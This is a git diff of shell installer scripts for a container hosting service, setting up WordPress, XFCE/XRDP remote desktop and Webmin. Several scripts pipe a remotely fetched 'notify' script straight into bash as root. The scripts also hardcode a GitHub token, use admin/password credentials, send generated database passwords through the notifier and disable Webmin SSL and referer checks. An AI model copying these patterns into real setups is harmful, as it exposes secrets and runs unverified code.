+#/bin/bash + +echo "Welcome to the Discord-Linux Wordpress Automated installer" +echo "This will install Apache, MySQL, PHP and Wordpress on your system" +echo "The install will be located at /var/www/html" + +echo "downloading the Notification Bot" + + +wget -q -O - https://ssh.surf/notify | bash + +apt update +DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends tzdata + +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y +notif "Welcome to the Wordpress Automated installer for Discord-Linux, We are preparing your installation..." + + +echo "Installing dependencies for Apache and PHP" +DEBIAN_FRONTEND=noninteractive apt-get -y install build-essential unzip zip software-properties-common + + +notif "Installing dependencies for Apache and PHP" +#sudo add-apt-repository ppa:ondrej/php +#sudo apt update +DEBIAN_FRONTEND=noninteractive sudo apt install php -y +DEBIAN_FRONTEND=noninteractive sudo apt install php-gd php-curl php-xml php-soap php-mbstring php-mysql -y + +DEBIAN_FRONTEND=noninteractive sudo apt install libapache2-mod-php -y + + + +sed -i 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf + + +DEBIAN_FRONTEND=noninteractive apt-get -y install apache2 + +sudo a2enmod php8.0 +sudo a2enmod rewrite + +notif "Installing MySQL 8" +echo "Installing MySQL 8" +DEBIAN_FRONTEND=noninteractive apt-get -y install mysql-server mysql-client + + +echo "Starting MySQL 8" +service mysql start +notif "Sleeping for 5 seconds to allow MySQL to start." +echo "Sleeping 5 seconds to allow MySQL to start" +sleep 5 + +echo "creating database with random strings for dbname, dbuser and dbpassword" +DBNAME=$(openssl rand -hex 12) +USERNAME=$(openssl rand -hex 12) +PASSWORD=$(openssl rand -hex 12) + +mysql -uroot -e "CREATE DATABASE $DBNAME CHARACTER SET utf8 COLLATE utf8_general_ci"; +mysql -uroot -e "CREATE USER $USERNAME@'127.0.0.1' IDENTIFIED BY '$PASSWORD'"; +mysql -uroot -e "GRANT ALL PRIVILEGES ON $DBNAME.* TO '$USERNAME'@'127.0.0.1'"; + +notif "We have created the following Database information for this installaton: Database:$DBNAME|Username:$USERNAME|Password:$PASSWORD" + + + +echo "Database and user created." + +#https://askubuntu.com/questions/916199/install-apt-show-versions-inside-an-ubuntu-docker-container + +echo "Fixing SystemD" + +sh /var/tools/getsystemctl.sh + +echo "Installing Wordpress base" + +wget -O /var/www/html/latest.tar.gz https://wordpress.org/latest.tar.gz +#unzip wordpress +cd /var/www/html && tar -zxvf latest.tar.gz +#change dir to wordpress +cd /var/www/html/wordpress +#copy file to parent dir +cp -rf . .. +#move back to parent dir +cd .. +#remove files from wordpress folder +rm -R wordpress +#create wp config +cp wp-config-sample.php wp-config.php + +echo "Setting up WP DB Config" +#set database details with perl find and replace +perl -pi -e "s/database_name_here/$DBNAME/g" /var/www/html/wp-config.php +perl -pi -e "s/username_here/$USERNAME/g" /var/www/html/wp-config.php +perl -pi -e "s/password_here/$PASSWORD/g" /var/www/html/wp-config.php +perl -pi -e "s/localhost/127.0.0.1/g" /var/www/html/wp-config.php + + +#set WP salts +perl -i -pe' + BEGIN { + @chars = ("a" .. "z", "A" .. "Z", 0 .. 9); + push @chars, split //, "!@#$%^&*()-_ []{}<>~\`+=,.;:/?|"; + sub salt { join "", map $chars[ rand @chars ], 1 .. 64 } + } + s/put your unique phrase here/salt()/ge +' /var/www/html/wp-config.php + +#create uploads folder and set permissions +mkdir /var/www/html/wp-content/uploads +chmod 775 /var/www/html/wp-content/uploads +mkdir -p /var/www/temp +chmod 755 /var/www/temp + +echo "Installing WP CLI" +# installing wp cli +curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar +php wp-cli.phar --info +chmod +x wp-cli.phar +sudo mv wp-cli.phar /usr/local/bin/wp + +echo "Setting Custom ENV" +cd /var/www/html/ && wp config set FS_METHOD \'direct\' --raw --type=constant --allow-root +cd /var/www/html/ && wp config set 'WP_TEMP_DIR' \'/var/www/temp\' --raw --type=constant --allow-root + +echo "repairing ownership and permissions" +chown -R www-data:www-data /var/www/html/ +chown -R www-data:www-data /var/www/temp + + +find /var/www/html/ -type d -exec chmod 755 {} \; +find /var/www/html/ -type f -exec chmod 644 {} \; + +rm -f /var/www/html/index.html +sed -i "3 iif ( (\!empty( \$_SERVER['HTTP_X_FORWARDED_HOST'])) || (\!empty( \$_SERVER['HTTP_X_FORWARDED_FOR'])) ) { \$_SERVER['HTTPS'] = 'on'; }" /var/www/html/wp-config.php +echo "Cleaning..." +#remove zip file +rm latest.tar.gz + +echo "Setting serverName ENV" +echo "serverName $(hostname)" >> /etc/apache2/apache2.conf + +echo "starting webserver" + +service apache2 restart +sed -i "s/#wp/service mysql start \&\& service apache2 start/g" /start.sh +echo "=========================" +echo "Installation is complete." +echo "=========================" + +notif "The Wordpress installation is complete, please complete your installation at your HTTP Port." + + diff --git a/ubuntu/wp-swoole b/ubuntu/wp-swoole new file mode 100644 index 0000000..69dce12 --- /dev/null +++ b/ubuntu/wp-swoole @@ -0,0 +1,128 @@ +#/bin/bash + +echo "downloading the #notification Bot" + +wget -q -O - https://ssh.surf/notify | bash +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y +#notif "Welcome to the Wordpress Automated installer for Discord-Linux, We are preparing your installation..." + + +echo "Installing dependencies for Swoole" +DEBIAN_FRONTEND=noninteractive apt-get -y install build-essential unzip zip software-properties-common gcc php-dev openssl libssl-dev curl libcurl4-openssl-dev libpcre3-dev php7.4-curl php7.4-json php7.4-mysql php7.4-common php7.4-bcmath php7.4-gd php7.4-intl php7.4-mbstring php7.4-opcache php7.4-xml php7.4-zip unzip zip + +DEBIAN_FRONTEND=noninteractive sudo apt install -y software-properties-common && add-apt-repository ppa:ondrej/php -y +DEBIAN_FRONTEND=noninteractive sudo apt install -y software-properties-common && add-apt-repository ppa:openswoole/ppa -y + +# Fix the repo cus they sux and don't have our version +sed -i "s/hirsute/focal/g" /etc/apt/sources.list.d/openswoole-ubuntu-ppa-hirsute.list + +sudo apt update + +# Lets install Swoole +apt install -y php7.4-openswoole + +#notif "Installing MariaDB" +echo "Installing MariaDB" +DEBIAN_FRONTEND=noninteractive apt-get -y install mariadb-server mariadb-client + +# Install composer Like A G +php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" +php -r "if (hash_file('sha384', 'composer-setup.php') === '906a84df04cea2aa72f40b5f787e49f22d4c2f19492ac310e8cba5b96ac8b64115ac402c8cd292b8a03482574915d1a8') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;" +php composer-setup.php +php -r "unlink('composer-setup.php');" + +sudo mv composer.phar /usr/local/bin/composer +# Send this message, because our move is not logged +echo "!!! COMPOSER HAS BEEN INSTALLED TO /usr/local/bin/composer !!!" +echo "You may use composer directly from the command line" +echo "!!! COMPOSER HAS BEEN INSTALLED TO /usr/local/bin/composer !!!" + +# Set up our github key - THIS IS A PUBLIC BS ACCOUNT - DO NOT USE THIS FOR YOUR OWN ACCOUNT +composer config -g github-oauth.github.com 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 + +# Lets install all dependencies with composer tell composer that we have the external lib installed. +# WARNING!!!!!!WARNING!!!!!!WARNING!!!!!!WARNING!!!!!!WARNING!!!!!! +# This step takes a LONG TIME sometimes, JUST WAIT! +cd /home && composer --ignore-platform-req=ext-swoole create-project -s dev wordpress-psr/swoole + +# move the config where it needs to be +cd /home/swoole && cp wordpress/wp-config-sample.php wp-config.php + +echo "Starting MariaDB" +service mariadb start +#notif "Sleeping for 10 seconds to allow MySQL to start." +echo "Sleeping 10 seconds to allow MySQL to start" +sleep 10 + +# Set up our database vars +echo "creating database with random strings for dbname, dbuser and dbpassword" +DBNAME=$(openssl rand -hex 12) +USERNAME=$(openssl rand -hex 12) +PASSWORD=$(openssl rand -hex 12) + +# auto create everything +mysql -uroot -e "CREATE DATABASE $DBNAME CHARACTER SET utf8 COLLATE utf8_general_ci"; +mysql -uroot -e "CREATE USER $USERNAME@'localhost' IDENTIFIED BY '$PASSWORD'"; +mysql -uroot -e "GRANT ALL PRIVILEGES ON $DBNAME.* TO '$USERNAME'@'localhost'"; + +#notif "We have created the following Database information for this installaton:%0ADatabase:$DBNAME%0AUsername:$USERNAME%0APassword:$PASSWORD" + + +echo "Database and user created." + +echo "Fixing SystemD" + +sh /var/tools/getsystemctl.sh + +echo "Setting up wp system" + +#echo "Setting up WP DB Config" +#set database details with perl find and replace +perl -pi -e "s/database_name_here/$DBNAME/g" /home/swoole/wp-config.php +perl -pi -e "s/username_here/$USERNAME/g" /home/swoole/wp-config.php +perl -pi -e "s/password_here/$PASSWORD/g" /home/swoole/wp-config.php + +#set WP salts +perl -i -pe' + BEGIN { + @chars = ("a" .. "z", "A" .. "Z", 0 .. 9); + push @chars, split //, "!@#$%^&*()-_ []{}<>~\`+=,.;:/?|"; + sub salt { join "", map $chars[ rand @chars ], 1 .. 64 } + } + s/put your unique phrase here/salt()/ge +' /home/swoole/wp-config.php + +# #create uploads folder and set permissions + mkdir /home/swoole/wordpress/wp-content/uploads +chmod 775 /home/swoole/wordpress/wp-content/uploads +mkdir -p /var/www/temp +chmod 755 /var/www/temp + +# echo "Installing WP CLI" +# # installing wp cli +curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar +php wp-cli.phar --info +chmod +x wp-cli.phar +sudo mv wp-cli.phar /usr/local/bin/wp + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +cd /home/swoole && wp core install --url="http://ssh.surf:$port" --title='Swoole Test' --admin_user=admin --admin_password=password --skip-email --admin_email=none@domain.com --allow-root + +# echo "Setting Custom ENV" +cd /home/swoole/ && wp config set FS_METHOD \'direct\' --raw --type=constant --allow-root +cd /home/swoole/ && wp config set 'WP_TEMP_DIR' \'/temp\' --raw --type=constant --allow-root +# sed -i "3 iif ( (\!empty( \$_SERVER['HTTP_X_FORWARDED_HOST'])) || (\!empty( \$_SERVER['HTTP_X_FORWARDED_FOR'])) ) { \$_SERVER['HTTPS'] = 'on'; }" /var/www/html/wp-config.php +sed -i "s/8889/$port/g" /home/swoole/server.php + +echo "=========================" +echo "Installation is complete." +echo "=========================" + +echo "The Wordpress installation is complete, please complete your installation at your http://ssh.surf:$port" + + diff --git a/ubuntu/xfce b/ubuntu/xfce new file mode 100644 index 0000000..30e4d28 --- /dev/null +++ b/ubuntu/xfce @@ -0,0 +1,44 @@ +#!/bin/bash +echo "Welcome to the XFCE and XRDP system installer" +wget -q -O - https://ssh.surf/notify | bash +sleep 2 +apt update +notif "We are beginning to install the standard xserver...please wait...." +DEBIAN_FRONTEND=noninteractive apt upgrade -y + +DEBIAN_FRONTEND=noninteractive apt-get -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y install lightdm +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y +DEBIAN_FRONTEND=noninteractive apt-get -y install xserver-xorg xserver-xorg-core xfonts-base xinit x11-xserver-utils + +notif "We have installed the standard xserver, we are now setting up the Remote Software" + +# Move to our tmp directory +cd /tmp + +DEBIAN_FRONTEND=noninteractive sudo apt -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" install -y xfwm4 xfce4-panel xfce4-settings xfce4-session xfce4-terminal xfdesktop4 xfce4-taskmanager tango-icon-theme lightdm-gtk-greeter + + +DEBIAN_FRONTEND=noninteractive apt-get --no-install-recommends -y install xrdp xorgxrdp thunar + + +wget -O /etc/xrdp/new.bmp https://ssh.surf/install/XRDP/new.bmp + +mv /etc/xrdp/xrdp.ini /etc/xrdp/xrdp.ini.bak + +wget -O /etc/xrdp/xrdp.ini https://ssh.surf/install/XRDP/xrdp.ini + + +echo xfce4-session > ~/.xsession + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +sed -i "s/port=3389/port=tcp:\/\/:$port/g" /etc/xrdp/xrdp.ini + +service xrdp start + + +echo "The port for RDP is $port" +notif "The port for RDP port is running and can be contacted at: ssh.surf:$port using any RDP Client" diff --git a/wallpaper.jpg b/wallpaper.jpg new file mode 100644 index 0000000..545e922 Binary files /dev/null and b/wallpaper.jpg differ diff --git a/wallpaper.png b/wallpaper.png new file mode 100644 index 0000000..dd1e4f4 Binary files /dev/null and b/wallpaper.png differ diff --git a/webmin-64 b/webmin-64 new file mode 100755 index 0000000..93302c8 --- /dev/null +++ b/webmin-64 @@ -0,0 +1,65 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux Webmin Automated installer for dLinux64" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your Webmin installation when installation is complete." +echo "" +echo "" +echo "" +echo "" + +apt update +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/notify-x64 && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the Webmin Automated installer for Discord-Linux, We are preparing your installation..." + + +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y + +DEBIAN_FRONTEND=noninteractive apt-get -y install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl python unzip zip + +#https://askubuntu.com/questions/916199/install-apt-show-versions-inside-an-ubuntu-docker-container +rm /etc/apt/apt.conf.d/docker-gzip-indexes + apt-get -y purge apt-show-versions +rm /var/lib/apt/lists/*lz4 + apt-get -o Acquire::GzipIndexes=false update + +notif "We are building show versions, this may take a while..." + +apt install -y apt-show-versions + +sh /var/tools/getsystemctl.sh + +wget -O /tmp/webmin-current.deb http://www.webmin.com/download/deb/webmin-current.deb + +dpkg -i /tmp/webmin-current.deb + + +echo "Disabling SSL in webmin for proxy support" +sed -i 's/ssl=1/ssl=0/g' /etc/webmin/miniserv.conf +echo "disabling refer checks to allow for vhost usage" +sed -i 's/referers_none=1/referers_none=0/g' /etc/webmin/config +sed -i 's/referer=1/referer=0/g' /etc/webmin/config + + +rm -f /tmp/webmin_1.984_all.deb + +service webmin start + +relayPort 10000 + +sleep 5 + +url=$(grep -hPo "(?<=listening ).*" /root/.pm2/logs/Relay-10000-out.log | head -n 1 | sed 's/$/.virt.fun/') +echo "referers=$url" >> /etc/webmin/config + + +sed -i "s/#webmin/service webmin start \&\& relayPort 10000/g" /start.sh + +notif "Your webmin installation has completed, you may access your installation at: https://$url" + +echo "Your installation has completed, you may access your installation at: https://$url" + + diff --git a/works.png b/works.png new file mode 100644 index 0000000..fba9934 Binary files /dev/null and b/works.png differ diff --git a/wp-64 b/wp-64 new file mode 100644 index 0000000..b58a6c8 --- /dev/null +++ b/wp-64 @@ -0,0 +1,150 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux Wordpress Automated installer" +echo "This will install Apache, MySQL, PHP and Wordpress on your system" +echo "The install will be located at /var/www/html" + +echo "downloading the Notification Bot" +DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends tzdata + + +wget -q -O /usr/bin/notif https://ssh.surf/notify-x64 && chmod +x /usr/bin/notif + +apt update + +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y +notif "Welcome to the Wordpress Automated installer for Discord-Linux, We are preparing your installation..." + + +echo "Installing dependencies for Apache and PHP" +DEBIAN_FRONTEND=noninteractive apt-get -y install build-essential unzip zip software-properties-common + + +notif "Installing dependencies for Apache and PHP" +#sudo add-apt-repository ppa:ondrej/php +#sudo apt update +DEBIAN_FRONTEND=noninteractive sudo apt install php -y +DEBIAN_FRONTEND=noninteractive sudo apt install php-gd php-curl php-xml php-soap php-mbstring php-mysql -y + +DEBIAN_FRONTEND=noninteractive sudo apt install libapache2-mod-php -y + +sudo a2enmod php8.0 +sudo a2enmod rewrite + +sed -i 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf + + +DEBIAN_FRONTEND=noninteractive apt-get -y install apache2 + +notif "Installing MariaDB" +echo "Installing MariaDB" +DEBIAN_FRONTEND=noninteractive apt-get -y install mariadb-server mariadb-client + + +echo "Starting MariaDB" +service mariadb start +notif "Sleeping for 10 seconds to allow MySQL to start." +echo "Sleeping 10 seconds to allow MySQL to start" +sleep 10 + +echo "creating database with random strings for dbname, dbuser and dbpassword" +DBNAME=$(openssl rand -hex 12) +USERNAME=$(openssl rand -hex 12) +PASSWORD=$(openssl rand -hex 12) + +mysql -uroot -e "CREATE DATABASE $DBNAME CHARACTER SET utf8 COLLATE utf8_general_ci"; +mysql -uroot -e "CREATE USER $USERNAME@'localhost' IDENTIFIED BY '$PASSWORD'"; +mysql -uroot -e "GRANT ALL PRIVILEGES ON $DBNAME.* TO '$USERNAME'@'localhost'"; + +notif "We have created the following Database information for this installaton:%0ADatabase:$DBNAME%0AUsername:$USERNAME%0APassword:$PASSWORD" + + + +echo "Database and user created." + +#https://askubuntu.com/questions/916199/install-apt-show-versions-inside-an-ubuntu-docker-container + +echo "Fixing SystemD" + +sh /var/tools/getsystemctl.sh + +echo "Installing Wordpress base" + +wget -O /var/www/html/latest.tar.gz https://wordpress.org/latest.tar.gz +#unzip wordpress +cd /var/www/html && tar -zxvf latest.tar.gz +#change dir to wordpress +cd /var/www/html/wordpress +#copy file to parent dir +cp -rf . .. +#move back to parent dir +cd .. +#remove files from wordpress folder +rm -R wordpress +#create wp config +cp wp-config-sample.php wp-config.php + +echo "Setting up WP DB Config" +#set database details with perl find and replace +perl -pi -e "s/database_name_here/$DBNAME/g" /var/www/html/wp-config.php +perl -pi -e "s/username_here/$USERNAME/g" /var/www/html/wp-config.php +perl -pi -e "s/password_here/$PASSWORD/g" /var/www/html/wp-config.php + +#set WP salts +perl -i -pe' + BEGIN { + @chars = ("a" .. "z", "A" .. "Z", 0 .. 9); + push @chars, split //, "!@#$%^&*()-_ []{}<>~\`+=,.;:/?|"; + sub salt { join "", map $chars[ rand @chars ], 1 .. 64 } + } + s/put your unique phrase here/salt()/ge +' /var/www/html/wp-config.php + +#create uploads folder and set permissions +mkdir /var/www/html/wp-content/uploads +chmod 775 /var/www/html/wp-content/uploads +mkdir -p /var/www/temp +chmod 755 /var/www/temp + +echo "Installing WP CLI" +# installing wp cli +curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar +php wp-cli.phar --info +chmod +x wp-cli.phar +sudo mv wp-cli.phar /usr/local/bin/wp + +echo "Setting Custom ENV" +cd /var/www/html/ && wp config set FS_METHOD \'direct\' --raw --type=constant --allow-root +cd /var/www/html/ && wp config set 'WP_TEMP_DIR' \'/var/www/temp\' --raw --type=constant --allow-root + +echo "repairing ownership and permissions" +chown -R www-data:www-data /var/www/html/ +chown -R www-data:www-data /var/www/temp + + +find /var/www/html/ -type d -exec chmod 755 {} \; +find /var/www/html/ -type f -exec chmod 644 {} \; + +rm -f /var/www/html/index.html +sed -i "3 iif ( (\!empty( \$_SERVER['HTTP_X_FORWARDED_HOST'])) || (\!empty( \$_SERVER['HTTP_X_FORWARDED_FOR'])) ) { \$_SERVER['HTTPS'] = 'on'; }" /var/www/html/wp-config.php +echo "Cleaning..." +#remove zip file +rm latest.tar.gz + +echo "Setting serverName ENV" +echo "serverName $(hostname)" >> /etc/apache2/apache2.conf +sed -i "s/#wp/service mariadb start \&\& service apache2 start \&\& httpPort/g" /start.sh + +echo "starting webserver" + +service apache2 restart +sleep 2 +httpPort +sleep 2 +url=$(grep -hPo "(?<=listening ).*" /root/.pm2/logs/Relay-80-out.log | head -n 1 | sed 's/$/.virt.fun/') +notif "Your WordPress site is available at: https://$url" +echo "=========================" +echo "Installation is complete." +echo "=========================" + + diff --git a/xfce-64 b/xfce-64 new file mode 100644 index 0000000..367a42a --- /dev/null +++ b/xfce-64 @@ -0,0 +1,45 @@ +#!/bin/bash +echo "Welcome to the Send-To-Log system installer" +wget -q -O /usr/bin/notif https://ssh.surf/notify-x64 && chmod +x /usr/bin/notif +sleep 2 +apt update +notif "We are beginning to install the standard xserver...please wait...." +DEBIAN_FRONTEND=noninteractive apt upgrade -y + +DEBIAN_FRONTEND=noninteractive apt-get -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y install lightdm +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y +DEBIAN_FRONTEND=noninteractive apt-get -y install xserver-xorg xserver-xorg-core xfonts-base xinit x11-xserver-utils + +notif "We have installed the standard xserver, we are now setting up the Remote Software" + +# Move to our tmp directory +cd /tmp + +DEBIAN_FRONTEND=noninteractive sudo apt -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" install -y xfwm4 xfce4-panel xfce4-settings xfce4-session xfce4-terminal xfdesktop4 xfce4-taskmanager tango-icon-theme lightdm-gtk-greeter + + +DEBIAN_FRONTEND=noninteractive apt-get --no-install-recommends -y install xrdp xorgxrdp thunar + + +wget -O /etc/xrdp/new.bmp https://ssh.surf/install/XRDP/new.bmp + +mv /etc/xrdp/xrdp.ini /etc/xrdp/xrdp.ini.bak + +wget -O /etc/xrdp/xrdp.ini https://ssh.surf/install/XRDP/xrdp.ini + + +echo xfce4-session > ~/.xsession + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) +service xrdp start +sleep 3 +relayPort 3389 +sleep 5 +url=$(grep -hPo "(?<=listening ).*" /root/.pm2/logs/Relay-3389-out.log | head -n 1 | sed 's/$/.virt.fun/') + + +echo "To connect use the topic: $hostname-3389" +notif "Use the client as decribed on the wiki for connection" \ No newline at end of file